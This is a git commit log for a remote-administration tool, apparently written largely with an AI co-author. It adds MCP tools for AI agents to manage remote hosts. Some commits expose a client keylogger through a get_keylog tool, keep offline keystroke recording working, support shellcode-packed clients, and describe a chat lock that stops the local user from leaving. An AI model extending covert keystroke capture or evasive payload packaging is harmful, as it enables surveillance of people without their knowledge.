with WM_GETTEXT); with the space restored the first arrives as
" echo test". Details in docs/Mcp_Chat_Design.md section 5.

Co-Authored-By: deepseek-flash
2026-10-25 14:57:47 +01:00
yuanyuanxianganddeepseek-flash cc3e11d30d Improve: Cover protocol and policy error codes in the MCP smoke test
The suite only exercised the happy paths, so a regression in the
negative paths -- unknown method, unknown tool, a missing required
argument, an oversized batch or a policy refusal -- would have gone
unnoticed. Add those checks alongside a section that reads the switches
from get_server_status, picks a feature that is actually turned off and
asserts its tool answers -32006; with every switch on it skips rather
than guessing, and with -AuditLog it also asserts the refusal shows up
as CALL_DENIED.

Document the full error-code table in section 12, including which codes
mean "retry with different arguments" and which mean "this is a policy
decision, retrying is pointless", and note that a batch call never
fails as a whole for per-host errors.

Verified against the Debug instance with McpKeylog temporarily set to
zero: get_keylog refused with -32006 and the audit log gained the
matching CALL_DENIED line, 34 checks passing; with the switch restored
32 pass, and 37 with a search path.

Co-Authored-By: deepseek-flash
2026-10-25 14:44:45 +01:00
yuanyuanxianganddeepseek-flash 7c5bf3e73d Feature: Filter search_file results by size, mtime and slim fields
Add four optional arguments to search_file that narrow the match list
after the client has returned it: min_size and max_size in bytes,
modified_after in either YYYY-MM-DD or YYYY-MM-DD HH:MM:SS form, and
name_only to keep just path and name per entry. The client still runs
the same name-matched recursive search, so these filters cut the
response size and the reasoning work on our side, not the scan time on
the host -- the summary sentence says so and totalAll keeps the
pre-filter count so a too-narrow condition is obvious. Invalid values
(negative sizes, an inverted range, a malformed timestamp) are rejected
with -32602 before any packet goes out.

The timestamp validator only accepted the ten-character form because
its shape loop never allowed the two colons, which rejected every
nineteen-character value; the loop now whitelists them.

Smoke tests cover the unchanged totalAll under a size filter, the slim
name_only payload and a rejected timestamp, for 33 checks when the
search path is supplied. Design notes are in section 11.4.

Co-Authored-By: deepseek-flash
2026-10-25 14:41:52 +01:00
yuanyuanxianganddeepseek-flash 929065e7be Feature: Filter the MCP host lists by group, OS and client type
list_online_hosts and list_all_hosts could only page, so finding "the
hosts in this group" or "the Linux ones" meant walking pages or falling
back to search_hosts, which has no client type filter and treats online
and offline hosts differently.

Both tools now accept group, os and client_type. They are substring
matches, combined with AND and case-insensitive over ASCII, matching the
semantics search_hosts already used, and the shared implementation keeps
the two tools from drifting apart. The filter runs before paging, so
total counts the matches and totalAll keeps the pre-filter size, and the
summary switches to the "matches" wording with a trailing line naming
the unfiltered size - a mistyped condition then shows up immediately
instead of silently returning nothing.

Offline hosts carry no clientType in their stored record, so a
client_type filter never matches them; the tool description says so and
points at os for that case.

Verified on the Debug instance: client_type=exe matches the single EXE
host while client_type=lnx matches nothing and still reports totalAll=1;
list_all_hosts with group=default matches all 3161 recorded hosts and
splits them into 1 online and 3160 offline, and os=zzz matches none. The
smoke test gains two checks and passes 28/28.

Co-Authored-By: deepseek-flash
2026-10-25 14:37:28 +01:00
yuanyuanxianganddeepseek-flash 5ce453797c Feature: Add a get_server_status tool to the MCP server
Answering "did my rebuild actually take effect" or "why was that tool
refused" used to mean reading list_online_hosts and get_audit_log and
inferring the rest. A single read-only call now returns the server's own
state: brand and version, the exe link time (taken from the file's last
write, which unlike __DATE__ reflects the whole build), how long the
process has been up, the address and port MCP is actually listening on,
every MCP switch, online and offline host counts, the number of sessions
in flight per family, and how many source IPs are currently blocked.

The bind and port are recorded by Start rather than re-read from the
configuration, so the tool reports what the listener really got. Session
counters take each subsystem's lock in turn and release it immediately,
so the numbers are an estimate of one moment, not a consistent snapshot.
Nothing sensitive is exposed: the token and the command whitelist never
appear, and the switches are reported as booleans only.

The tool is registered as read-only, non-destructive, idempotent and
server-local, which brings tools/list to 53 entries. The smoke test gains
three checks for it, including one that fails if a token-shaped field
ever appears in the output.

Verified on the Debug instance: the summary line reports version, uptime
and listener correctly, sessions.terminal goes 0 to 1 while a persistent
terminal is open and back to 0 after terminal_close, and the smoke test
passes 26/26.

Co-Authored-By: deepseek-flash
2026-10-25 14:35:19 +01:00
yuanyuanxianganddeepseek-flash ae37e812ee Feature: Page and filter the MCP audit log tool
get_audit_log used to hand back every entry in the main window's message
mirror on each call. The mirror is a 1000-entry ring buffer, so a busy
server returned a lot of text the caller never looked at, and there was
no way to ask for just the MCP entries or just the ones mentioning a
particular subject.

The tool now takes the same limit/offset pair as the other list tools
and two optional substring filters: type matches the type column and
keyword matches the message text, both case-insensitive. Filtering runs
before paging, so total counts the matches while totalAll keeps the size
of the whole mirror, and the summary line adds the pre-filter count when
a filter is in use so a typo is easy to spot. The GBK to UTF-8
conversion moved into the filter loop so the comparison happens between
strings in the same encoding, still under the dialog's critical section.

The output schema gains total/totalAll/offset/limit/hasMore, and the
smoke test now asserts the paging fields, the limit bound and an empty
result for a filter that cannot match, bringing it to 23 checks.

Verified on the Debug instance: limit=2 returns entries 1-2 then 3-4
with hasMore set, offset=999 reports the out-of-range text, type=mcp
matches the "MCP命令执行" entry, type=提示 matches both hint types and
keyword=监听 matches the listening-port line.

Co-Authored-By: deepseek-flash
2026-10-25 14:31:14 +01:00
yuanyuanxianganddeepseek-flash d9a1a9ebcb Fix: Record policy refusals in the MCP audit log
Every policy denial - read-only mode, one of the Mcp* switches turned
off, or a host that lacks the required capability - answers -32006. The
audit log only ever showed CALL_FAIL for those, which lumped them
together with parameter errors, offline hosts and timeouts, so after the
fact there was no way to tell "nobody called this" from "it was blocked
by policy".

The hooks all live in one place: the tools/call exit in the HTTP
handler now also reads error.code and error.message from the response it
already parses, and appends a CALL_DENIED event when the code is -32006.
The original CALL_FAIL line is still written, so its statistics keep
their old meaning, and the reason text is the fixed English sentence
each branch already returns - no tool arguments or user input reach the
log. Tool names taken from the request are flattened to a single line
first, both in the denied event and in the existing CALL_OK/CALL_FAIL
lines, so a crafted name cannot forge extra audit rows.

Also refresh the stale note in the design document that still called the
client search MAX_PATH overflow unfixed; the source was fixed in
8f718d9, but already-deployed clients still carry it, which is why the
smoke test keeps its search cases opt-in.

Verified on the Debug instance: with McpFileTransfer temporarily set to
0, download_file returns -32006 and the audit log gains the expected
CALL_DENIED line right after its CALL_FAIL; with the switch restored the
same call is CALL_OK again and no denied line appears. The read-only
smoke test passes 20/20.

Co-Authored-By: deepseek-flash
2026-10-25 14:28:16 +01:00
yuanyuanxianganddeepseek-flash 16f23e164c Fix: Clear the file transfer session when its sub-connection drops
A file transfer session holds raw pointers to its file-manager and
stream sub-connections, but nothing on the offline path looked at them.
OfflineProc cleans up terminal, remote-control and chat sessions and
skipped file transfers entirely, so a client that disconnected in the
middle of a transfer left the session pointing at a context that went
back to the connection pool. When the tool thread timed out it called
CancelIO on that stale pointer, which could cancel somebody else's
connection.

Add a context-to-device table next to the sessions, kept under the same
mutex and erased by ClearFileTransfer so a recycled pointer is never
mistaken for a live one. OfflineProc now calls
OnFileTransferContextClosed, which drops both pointers. A dropped
stream sub-connection means the transfer cannot complete, so it also
fails the session with error 1003 and wakes the waiting thread; the
file-manager sub-connection only issues the command and its loss is not
treated as a failure of the transfer itself.

Verified against the debug client: killing it 1.2 s into a 500 MB
download returns "Connection lost: the transfer sub-connection closed"
after about 1 s instead of waiting out timeout_ms, and the server stays
up. After the client restarts, two consecutive downloads and one upload
still work.

Co-Authored-By: deepseek-flash
2026-10-25 14:20:13 +01:00
yuanyuanxianganddeepseek-flash 39f0928de7 Fix: Finish a directory-only download instead of waiting for the timeout
The completion check compared filesDone against totalFiles minus
directoryCount and only ran on COMMAND_FILE_COMPLETE_V2. The client
sends no COMPLETE for directory entries, so a download of an empty
directory, or of a tree that holds only subdirectories, had zero
expected files and could never satisfy the check. The call sat there
until timeout_ms expired (600 s by default) and then reported 1002.

Mark the session done as soon as the directory entries account for
every entry the client declared. Verified with the debug client: an
empty directory returns in 0.2 s with zero files, a tree of nested
subdirectories returns in 0.2 s with the directories created, and a
directory holding three files still downloads them with the same
sizes and hashes as before.

Co-Authored-By: deepseek-flash
2026-10-25 14:16:46 +01:00
yuanyuanxianganddeepseek-flash 8f718d9b39 Fix: Stop the client file search from overflowing its path buffers
SearchFilesRecursive built "%s\*.*" and "%s\%s" with wsprintf into
char[MAX_PATH] buffers and never checked the lengths. The recursion
allows 32 levels, so a search from a drive root accumulates paths well
past 260 characters and writes off the end of the stack frame. Debug
builds raise Run-Time Check Failure #2 and the dialog blocks the search
thread; release builds corrupt the stack silently.

Check the length before each build and skip the entry when the full
path does not fit, so neither the name nor the recursion below it is
recorded. The root directory is checked once at function entry, which
also stops an over-long root from being enumerated at all.

Apply the same guard to the directory listing paths in both file
managers, and bound the search pattern built from the incoming keyword.
Zero-initialize the buffers filled by ExpandEnvironmentStringsA so a
failed expansion is treated as an empty path instead of reading
uninitialized stack.

Verified against the debug client with a full C:\ scan (10,000 results,
finished, no dialog) and a repeated deep search afterwards.

Co-Authored-By: deepseek-flash
2026-10-25 14:05:25 +01:00
yuanyuanxianganddeepseek-flash abe7e99a77 Feature: Harden the MCP transport and add non-destructive host tools
Cap MCP request bodies at 2 MB, set a 15 s idle read timeout and a 60 s
write timeout, and give httplib an explicit 32-thread pool: long tools
such as chat_wait hold a worker for up to 55 s, and the default pool of
8 to 15 left other callers queued.

Every tool returned by tools/list now carries readOnlyHint,
destructiveHint, idempotentHint and openWorldHint. The table is
per-tool; anything not registered defaults to destructive so a new
write tool cannot silently look harmless. Read-only tools are forced
to destructiveHint=false.

get_host_detail appends the technical fields the host store already
holds (cpuCores, memoryGB, systemBits, programBits, user, isAdmin,
installTime, expiredDate, monitors, exeVersion, clientPath, pid,
publicIp). The JSON writer is pinned to 15 significant digits so
memoryGB renders as 27.8 instead of 27.800000000000001. list hosts
output is unchanged.

Add host_set_remark and host_set_watch_level. Both validate the host
against the store, are refused in readonly mode, repaint the affected
row, and are audited without recording the value written.

Add search_file, which drives the client file-manager search channel
and returns paged results. The root path is normalized before sending:
the client enumerates with wsprintf("%s\*.*"), so a trailing
backslash produced C:\*.* and FindFirstFile failed, returning zero
hits instantly. The client only searches recursively, so non-recursive
requests are filtered server-side by comparing the parent directory.
Collection stops at 5000 records or 4 MB and the client is told to
stop; on timeout the partial results are returned. Search result
packets are never closed early: the sub-connection stays open until
TOKEN_SEARCH_FILE_FINISH, because the client's search thread holds a
pointer into the file manager object.

Batch reads report a skipped counter and are bounded to 50 ids and a
50 s deadline.

Add tools/mcp_smoke.ps1, a read-only end-to-end smoke test that asserts
auth rejection, the payload limit, annotation coverage, paging fields
and the main read tools. It takes the token from the environment and
never prints it.

Document all of the above in docs/Mcp_Design.md section 10, including
the client-side MAX_PATH stack overflow that a deep search_file call
can trigger, together with the workaround of searching shallow
directories.

Co-Authored-By: deepseek-flash
2026-10-25 13:59:17 +01:00
yuanyuanxianganddeepseek-flash ac5b174b5f Feature: Add offline hosts, batch reads and MCP hardening
Expose hosts the server already knows about. list_all_hosts enumerates
both live contexts and the historical records in the client list, with
authStatus as a three-state string instead of a boolean. search_hosts
now honours online=false instead of returning an empty list, while the
default stays online-only so existing callers see the same results.
get_host_detail falls back to the last known record for an offline host
rather than failing with -32002.

Let read-only tools take an ids array of up to 50 hosts in one call.
The batch path reuses the single-host dispatcher and pages per host, so
behaviour cannot drift; write tools reject ids with -32602 so a mistake
cannot fan out across machines.

Add get_keylog behind its own McpKeylog switch. It drives the client's
existing keylogger sub-connection, accumulates the streamed text for a
bounded window and byte cap, then closes the sub-connection and returns
UTF-8 lines. The client pushes its buffered history first, so a result
contains both history and fresh keystrokes; the tool description says so.

Harden the endpoint. Failed bearer checks are counted per source IP and
ten failures within a minute block the IP for fifteen minutes. Auth
failures and tool calls append to logs\mcp_audit.log with metadata only:
no token, no arguments, no response bodies, and rotation at 5 MB. Loopback
sources are audited but never blocked, because the built-in frp tunnel
makes every remote request arrive from 127.0.0.1 and banning that address
would lock out legitimate clients along with the attacker.

Give list-style tools one pagination contract (limit/offset plus
total/totalAll/hasMore) and fix the generated schemas so id and ids are
genuine alternatives: the stale required:[id] left over from the
single-host schema would otherwise reject ids-only calls.

Co-Authored-By: deepseek-flash
2026-10-25 12:44:45 +01:00
yuanyuanxianganddeepseek-flash cc0e4bbd7a Fix: Pass win keys down the hook chain while a chat is locked
During a locked chat the client installs a WH_KEYBOARD_LL hook that
swallows Alt+Tab, Alt+F4, Alt+Esc, Ctrl+Esc and the Win keys, so the person
sitting at the machine cannot get out of the lock. The hook returned 1
without calling CallNextHookEx. Low-level hooks run last installed first,
and this one is installed later than the server's hotkey forwarding hook,
so it sits in front of it: returning 1 ended the chain and the forwarding
hook never saw those keys. With YAMA running on the same machine as the
client, Win shortcuts stopped reaching the remote host for as long as the
lock was up.

The event is now passed down the chain before it is swallowed.
CallNextHookEx hands the event to the other hooks only, not to the system
or the shell, so the local shell is still blocked and the lock behaves
exactly as before, while the forwarding hook can see the key and act on
it.

Co-Authored-By: deepseek-flash
2026-10-25 02:40:30 +02:00
yuanyuanxianganddeepseek-flash 73aa2725b9 Fix: Pick an MSBuild instance that has ATL, not the first found
build.ps1 took the first MSBuild.exe matching a hardcoded glob under
%ProgramFiles% / %ProgramFiles(x86)%. On a machine that has both a
command-line build tools instance and an IDE, that is the build tools one.
It ships the v142 compiler, but ATL is a separate optional component there,
so the link step failed with LNK1104 on atls.lib while the same sources
built cleanly in the IDE whose instance carries ATL. The vswhere lookup
meant to cover installations on other drives never ran, because the glob
had already matched.

Candidates are now validated against VC\Tools\MSVC\*\atlmfc\lib\x86\atls.lib
before being accepted, every rejected instance is reported, and the vswhere
lookup enumerates all instances and applies the same check, so an
installation on another drive is found as well. When no instance carries
ATL the first candidate is still used, with a warning, which keeps the
previous behaviour and lets MSBuild emit the more specific error.

The script is also saved as UTF-8 with BOM: Windows PowerShell 5.1 reads a
BOM-less UTF-8 script as ANSI, which turns some Chinese comment characters
into a trailing backtick and swallows the following line.

This commit also carries the pending build script work: the Go server
builder, the -ClientOnly fast path, and the serverd / client debug presets
in build.cmd. Skills.md documents the two new presets.

Co-Authored-By: deepseek-flash
2026-10-25 02:38:46 +02:00
yuanyuanxianganddeepseek-flash 37d0297f07 Fix: Keep the keylogger thread pumping so the hook chain stays alive
The low-level keyboard hook callback runs only while the thread that
installed it pumps messages, but KeyLogger() gated PeekMessage on
IsConnected(). With offline recording enabled (kbrecord=Yes) and no
keyboard sub-connection, the hook stayed installed while its thread
never pumped, so every keystroke on the machine stalled against
LowLevelHooksTimeout (300 ms by default) and the hook was eventually
dropped by the system. Because the client installs its hook after YAMA
installs its own, the client's hook sits in front of YAMA's in the
chain, and the starved events broke the key pairs YAMA needs: Win
shortcuts and Ctrl+V forwarding stopped working while ordinary typing
was unaffected.

Pump messages unconditionally; this code is only reached while the hook
is installed, and the offline-record path installs it even without a
keyboard sub-connection.

Co-Authored-By: deepseek-flash
2026-10-25 02:22:17 +02:00
yuanyuanxianganddeepseek-flash 7160ea8f42 Fix: Stop the online-host list header from flickering
The list header is a child window of the list view, and
LVS_EX_DOUBLEBUFFER only covers the item area. The list view was created
without WS_CLIPCHILDREN, so every whole-list Invalidate or RedrawWindow
also erased the header with the class background brush before repainting
it. On top of that, AdjustColumnWidths ran on every WM_SIZE and issued an
unconditional SetColumnWidth per column, and each call repaints the
header. The result was an occasional one-frame blink of the header row:
irregular, low frequency, and confined to the header because the item
area is double-buffered.

Both lists now carry WS_CLIPCHILDREN, RDW_ALLCHILDREN was dropped from the
redraw calls that only need the list body (that flag forces child
repaints even when they are clipped), and column widths are only set when
they actually change.

The header still needs its background erase, but only for the strip to
the right of the last column: AdjustColumnWidths reserves 20px there and
the header's own paint stops at the last column, so that strip is colored
by WM_ERASEBKGND alone. Skipping the erase entirely left it black after a
minimize/restore cycle, when the window contents are discarded. The
header subclass now fills just that strip with COLOR_3DFACE and leaves the
column area untouched, which keeps the flicker fix, and the needRefresh
branch of OnSize forces an erase-redraw of the header so the strip is
repainted on minimize/restore and maximize/normalize.

Verified with a standalone probe that mirrors the list setup for the
header erase counts, and by rebuilding the app and checking the
minimize/restore case reported against the first version of this change.

Co-Authored-By: deepseek-flash
2026-10-24 15:45:49 +02:00
yuanyuanxianganddeepseek-flash 434812f87d Fix: Show the instant-message popup on packed clients
Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the instant-message manager was
handed the stub's module handle. The stub's resource section carries no
IDD_DIALOG, and Windows rejects resource APIs on manually mapped images,
so DialogBoxParamA failed (error 1812 on Windows 11) and the bottom-right
popup never appeared after the operator sent a message.

The popup now falls back to an embedded compiled dialog template
generated from the IDD_DIALOG block in Script.rc and verified
byte-for-byte against the resource in the built ghost.exe. When the
resource lookup fails, the dialog is created with
DialogBoxIndirectParamA instead. Deployments where the resource lookup
already works keep the original path unchanged.

The incoming text is now terminated at the copied length. The server
sends the message body without a trailing NUL, so a message that filled
the 1024-byte buffer left SetDlgItemText reading past the end.

The title is now set with SetWindowTextW before the window is shown.
DialogBoxParamA converts the template's UTF-16 caption through the
system ANSI code page, so the Chinese title turned into "???" on 1252
systems (verified locally with a caption containing a character outside
CP936). The title follows the UI language: Chinese systems keep the
Chinese title, everything else shows "Message". The message body still
uses the ANSI path, preserving the existing per-ACP semantics.

Co-Authored-By: deepseek-flash
2026-10-23 12:22:44 +02:00
yuanyuanxianganddeepseek-flash c99a1c375e Feature: Add MCP tools for remote chat with the client user
Add chat_open, chat_send, chat_wait and chat_close to the MCP tool set,
behind a new McpChat switch that defaults to off and is independent of
the read-only switch. The tools reuse the existing client chat link: the
main connection sends COMMAND_CHAT, the client opens a sub-connection
with TOKEN_CONN_AUTH and TOKEN_CHAT_START, the server answers with
COMMAND_NEXT_CHAT, and both directions then carry raw CP936 text.

Sessions are per host and held in shared pointers under their own mutex,
so a waiting chat_wait survives a close or a dropped sub-connection, and
chat_send is serialised per session. Text is converted strictly between
UTF-8 and CP936: invalid UTF-8, characters GBK cannot represent (emoji,
accented letters) and messages over the client's 4000-byte buffer are
rejected with -32602 instead of being mangled. A one-second settle delay
after the sub-connection binds keeps the first message from reaching the
client before its chat window exists.

The routing hooks run before the host-management hooks in MessageHandle
and clear the route in OfflineProc before the context leaves the list. A
five-second tombstone absorbs a late TOKEN_CHAT_START after a timeout, so
a failed chat_open does not pop the MFC chat dialog. Idle sessions are
swept on every tool call, and audit entries record the session id and
byte counts only, never message bodies.

The settings dialog gains the chat checkbox and the translated labels
for all three languages, and the strict UTF-8 to CP936 helpers move from
McpMachine.cpp to McpInternal so both tool families can share them.

Co-Authored-By: deepseek-flash
2026-10-23 11:19:21 +02:00
yuanyuanxianganddeepseek-flash fff7c67af6 Fix: Make the remote chat dialog Unicode and loader-independent
Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the chat manager was handed the
stub's module handle. The stub's resource section only carries a
manifest, and Windows resource APIs reject manually mapped images
outright, so creating IDD_CHAT failed and the chat thread exited before
the window ever existed.

The chat window now falls back to an embedded compiled dialog template
that is byte-identical to the IDD_CHAT resource, and the title-bar icon
is rebuilt directly from the module's own resource directory instead of
LoadIcon, bypassing the loader on both paths. The PE walking code checks
every offset against SizeOfImage and the resource directory size, so a
malformed or truncated image returns NULL instead of faulting.
Deployments where the resource lookup already works keep the original
code path unchanged.

The dialog is now created and driven with the wide-character API. The
client is still an MBCS build, but an ANSI dialog renders text with the
system code page, so GBK chat text turned into mojibake on German and
other non-936 systems. Incoming text is converted CP936 to UTF-16 and
outgoing text strictly back to CP936; characters GBK cannot represent
(emoji, accented letters) are refused with a visible notice instead of
silently becoming '?'. Static labels follow the system UI language, and
IDD_CHAT now uses the scalable MS Shell Dlg face so font linking can
supply CJK glyphs.

The window is now positioned explicitly as well. DS_CENTER in the
template put it at the work area origin on the three-monitor host: the
centred position came out negative there and Windows clamps out-of-range
creation coordinates to that origin. It is centred in the work area of
the monitor under the cursor instead, falling back to SPI_GETWORKAREA.

Teardown no longer leaves a hidden window behind either. The dialog
thread blocked in GetMessageW and never saw m_bRun cleared, while the
destructor waited for that thread before sending the message that would
have destroyed the window, so a close command that never arrived (the
sub-connection already gone, or WaitSendIdle timing out before CancelIO)
leaked the window, the dialog thread and the manager loop. The
destructor now destroys the window first, the loop checks m_bRun before
blocking, and it destroys the window itself if it exits first.

Co-Authored-By: deepseek-flash
2026-10-23 11:19:21 +02:00
yuanyuanxianganddeepseek-flash 3ae6298746 Fix: Align macOS mouse coordinates with the captured display
The macOS client derived its logical screen size from [NSScreen mainScreen]
while it captured CGMainDisplayID. In clamshell mode with an external display
the former can still report the disabled built-in panel (1470x956) while the
captured frame is 1280x1024, so every injected point was scaled by
logical/encode and drifted linearly with the distance from the top left
corner, independently on each axis. Take the logical size from
CGDisplayBounds of the captured display instead, and report the same bounds
in the login resolution.

For hosts that still run the old client, the remote desktop dialog gains a
per-host mouse calibration in its system menu. The factors are stored by
client ID together with the reported resolution and the captured frame size,
so they stop applying once the client is upgraded or a different display is
captured, and come back automatically when the original display returns.
When no calibration has been saved the dialog pre-fills the factors from
frame/reported, but only for macOS clients, because the other clients derive
their conversion from the captured display itself and a mismatching report
there would be misleading.

Co-Authored-By: deepseek-flash
2026-10-22 11:33:39 +02:00
yuanyuanxianganddeepseek-flash 38cd207f5d Feature: Add host management and connection management MCP tools
Expose the online-list TLS column through list_online_hosts, search_hosts
and get_host_detail. The value comes from the flag the client reports at
login, so old clients always read false.

Add list_network_connections and kill_network_connection on top of the
connection manager sub-connection protocol. The kill path matches the
original 110-byte record instead of rebuilding addresses, supports a dry
run, refuses UDP/IPv6 targets, and verifies that the quadruple really
disappeared instead of assuming success.

Add a host_* family backed by the machine manager protocol: ten read
tools covering every tab of the host management dialog, and four
recoverable write tools for process freeze/thaw, window restore/hide/
maximize/minimize, service start/stop/pause/continue/restart, and
scheduled task run/stop. Every write re-reads the snapshot before sending
and re-checks afterwards, reporting -32009 for stale targets rather than
acting blindly. The family is gated by McpMachine, the risky subset by
McpMachineDangerous, and writes additionally require read-only mode to
be off.

Route managed sub-connections from MessageHandle and OfflineProc, keep
the single-in-flight rule by sharing the pending table with a request
kind, and move the shared JSON/lock/encoding helpers into McpInternal so
both tool families use one implementation. Settings dialog, design docs
and en_US/zh_TW/de_DE translations are updated accordingly.

Co-Authored-By: deepseek-flash
2026-10-21 20:01:41 +02:00
yuanyuanxianganddeepseek-flash 6c8336b497 Fix: Repair task actions and harden machine management
Scheduled task actions never worked end to end: the server built task
packets with Unicode-style lengths in a MultiByte build, the client had
no dispatch for the run/stop/delete/create commands, and the directory
column was derived by replacing every occurrence of the task name, which
misplaced tasks whose name also appeared in a parent folder. Packets are
now assembled with narrow strings, the four commands are routed to
RunOrStopTask/DelTask/CreateTask, and the folder is taken from the task
path suffix only. The task list reply is trimmed to its real length
instead of sending the whole 32 KB scratch buffer.

On the client side, thawing a process resumed a single thread, the
inject output path was copied from a narrow string using a wide-character
length, and an empty window list dereferenced a NULL buffer. The service
list leaked its enumeration block and one service handle per skipped
entry, and the description was copied without a bound. Service start and
stop now validate every handle, initialize the status structure, and stop
synchronously before the start that follows a restart request, which
previously always failed because the service was still in STOP_PENDING.
Deleting a process used to test only the low byte of the PID and leaked
the process handle on early exits, and a failed path conversion kept the
previous process image name. The IE history timestamp wrote minutes and
seconds in the wrong order, the favorites reader queried and closed an
uninitialized registry key, software enumeration never closed its subkeys,
and the task scheduler objects were not released after use.

The network state list now frees the module, snapshot, and extended
tables on every exit path, uses HeapFree for tables allocated on the
process heap, and no longer calls an export that may be missing. Growth
failures everywhere keep the original buffer instead of overwriting the
pointer, the hosts reader rejects an invalid file size, and the COM task
walk releases definitions and folders.

Co-Authored-By: deepseek-flash
2026-10-20 21:48:13 +02:00
yuanyuanxianganddeepseek-flash c208b7368e Fix: Format net-state addresses as narrow strings on the client
The client is a MultiByte build, so the destination buffers are char[]
and _T("%s:%u") expands to an ANSI format that expects a char pointer.
The code nevertheless converted inet_ntoa() output to WCHAR* first, and
the ANSI %s stopped at the zero byte that follows the first wide
character. Every address therefore collapsed to its leading digit, so
192.168.0.55:443 was shown as 1 and 0.0.0.0:80 as 0 in the local and
remote address columns of the network connections tab.

Write the address and port straight into the char buffers with
sprintf_s in all four enumeration paths (legacy and Vista APIs, TCP and
UDP), and drop the now unused char2wchar_t helper.

Co-Authored-By: deepseek-flash
2026-10-20 21:24:47 +02:00
yuanyuanxianganddeepseek-flash 15a50db0a7 Fix: Keep IPv4 address bytes in network order for connection list
iphlpapi stores the address in network byte order inside the memory of
the DWORD, it is not a host-order integer. For 192.168.0.55 the DWORD
value on x86 is 0x3700A8C0 while its bytes are C0 A8 00 37, so shifting
the value by 24/16/8/0 produced 37 00 A8 C0 and the dialog rendered
"55.0.168.192" for both the local and remote address.

Copy the DWORD with memcpy instead, which preserves the memory layout
that inet_ntop and SetTcpEntry both expect. GetAddr4 is changed the
same way, otherwise a forced disconnect would rebuild a wrong address
and miss the target connection.

Co-Authored-By: deepseek-flash
2026-10-20 21:15:45 +02:00
yuanyuanxianganddeepseek-flash ca35e6e26f Feature: Add menu icons for the advanced and disclaimer entries
Add four 16x16 bitmaps and wire them through the existing m_bmOnline
table. The three entries under the "Advanced" menu had no icon at all,
and the disclaimer entry shared the help question mark with "what is
this", so the two were indistinguishable.

- desktop quality levels: a monitor with three ascending level bars in
  the screen
- screen preview levels: a thumbnail card with a sun, a folded corner
  and layered hills
- file transfer speed: a half-circle gauge with a red needle
- disclaimer: a document with a folded corner and an amber exclamation
  badge, so it no longer looks like the help entry

Grow the bitmap array to 75 entries and reserve resource IDs 412-415.

Co-Authored-By: deepseek-flash
2026-10-20 21:13:05 +02:00
yuanyuanxiang 679136e73e Release v1.4.1 2026-10-20 15:00:35 +02:00
yuanyuanxiang b637c94e24 Feature: Allow user to select an installation location for client 2026-10-20 13:12:16 +02:00
yuanyuanxianganddeepseek-flash f76cd79bb0 Fix: Renew expired licenses from today and report the actual expiry
Preset renewal stored its target date as the old expiry plus the entered
days, while the authorization actually issued to the client is always
today plus a day count. For a license that had already expired, the
preset date was therefore in the past: SendPendingRenewal clamped the
day count to one, the client received a one-day license starting today,
but the renewal tip and the logs still printed the stale preset date.
The result was a message such as "renewed until 2026-05-30" while the
license really ran until tomorrow.

Presetting a renewal now bases the new date on today when the license
has already expired, and on the original expiry date otherwise, which
matches the one-day-per-day extension admins expect for live licenses.
The renewal dialog and the success prompt state which base was used, so
the computed date is never ambiguous. Renewal tips and both logging
paths (heartbeat-driven SendPendingRenewal and client-requested
GenerateRenewalInfo) now print the date that was actually issued, which
also corrects legacy preset records whose stored date has already
passed.

Co-Authored-By: deepseek-flash
2026-10-19 15:15:49 +02:00
yuanyuanxianganddeepseek-flash 39c8daa9b0 Fix: Keep the audit log open across WebSocket reconnects
Hiding the browser tab while the audit log was open closed the socket,
because the visibility handler treats only the remote screen, terminal
and wall pages as streaming pages. Returning to the tab reconnected the
socket, and the onopen restore path took its catch-all branch, which
navigated to the device list. The audit log therefore vanished whenever
the browser was minimized.

The catch-all branch now leaves the active page alone when it is the
audit log, and only refreshes the device list in the background. Every
other page keeps the previous behaviour: the login page advances with a
cached token, and the terminal page falls back to the device list
because its session died with the socket. Audit results already rendered
stay on screen, so the admin can keep reading without re-querying.

Co-Authored-By: deepseek-flash
2026-10-19 10:39:36 +02:00
yuanyuanxianganddeepseek-flash cd4f3675fd Improve: Replace native browser prompts with themed in-app dialogs
Native alert() and confirm() render their buttons in the browser or OS
locale, so on a German system prompts such as the Clear Screen Wall
confirmation showed German labels that disagreed with the rest of the
web UI. Both are now served by a single themed modal that reuses the
logout confirmation styling: an info variant with one OK button for
notices, and a danger variant with Cancel/OK for destructive actions.

The alert helper is fire-and-forget, while the confirm helper returns a
Promise, so the two call sites that need an answer (clearWall and
deleteUser) are now async. Dialog title and message are written with
textContent so device names, user names and server error strings can
never be interpreted as markup. A pending dialog is resolved as
cancelled when another one supersedes it, keeping callers from hanging,
and clicking the backdrop or pressing Escape closes the dialog. Remote
keyboard forwarding now ignores keys while a dialog is open.

Co-Authored-By: deepseek-flash
2026-10-19 10:27:09 +02:00
yuanyuanxianganddeepseek-flash bbb3d8c2fa Fix: Recover proxied client IPs and fit audit filters on phones
The MFC web server now resolves the real client address from the
WebSocket upgrade request when the TCP peer is loopback, so audit records
and login rate limiting stop reporting the reverse proxy's 127.0.0.1.
X-Forwarded-For is preferred over X-Real-IP because its last hop is the
address the local proxy appended; a client-supplied header list cannot
forge it. Forwarded headers are ignored for non-loopback peers so a
client connecting directly over the internet cannot spoof its identity
or rotate addresses to bypass throttling. FRP deployments can keep using
the existing Proxy Protocol v2 support instead.

Collapse the audit log search conditions behind a toolbar toggle that
starts closed and switches to an accent-colored "Hide filters" state
while the panel is open. On portrait phones the panel uses one control
per row, and From/To move their border and padding onto a wrapper so the
iOS WebKit datetime-local width miscalculation cannot overflow the
viewport.

Co-Authored-By: deepseek-flash
2026-10-19 10:05:58 +02:00
yuanyuanxianganddeepseek-flash ca671d6453 Feature: In-memory web audit log for the MFC server
Add a process-local security audit trail to the Windows server's web
console, mirroring the Go server's event names and reply shape. The ring
keeps the most recent 1000 events since process start and is never
persisted.

- New query_audit WebSocket command, admin-only, with time/event/actor/
  IP/device/keyword/warn-only filters and pagination; the reply is the
  audit_result payload the existing Audit Log page already understands.
  The challenge advertises caps.auditLog so browsers enable the button.
- Record logins (success, failure, throttling, salt probes), WebSocket
  connect/close, screen and terminal session start/stop/denials,
  clipboard transfers (byte counts only), RDP resets, and admin user
  mutations.
- Repeated failed logins and username probes are de-duplicated per
  connection so scanners cannot flood the ring.
- Audit writes never hold m_ClientsMutex: disconnect paths snapshot the
  client identity before the map entry is erased, and offline-device
  stops are audited after the clients lock is released.

Co-Authored-By: deepseek-flash
2026-10-18 19:16:17 +02:00
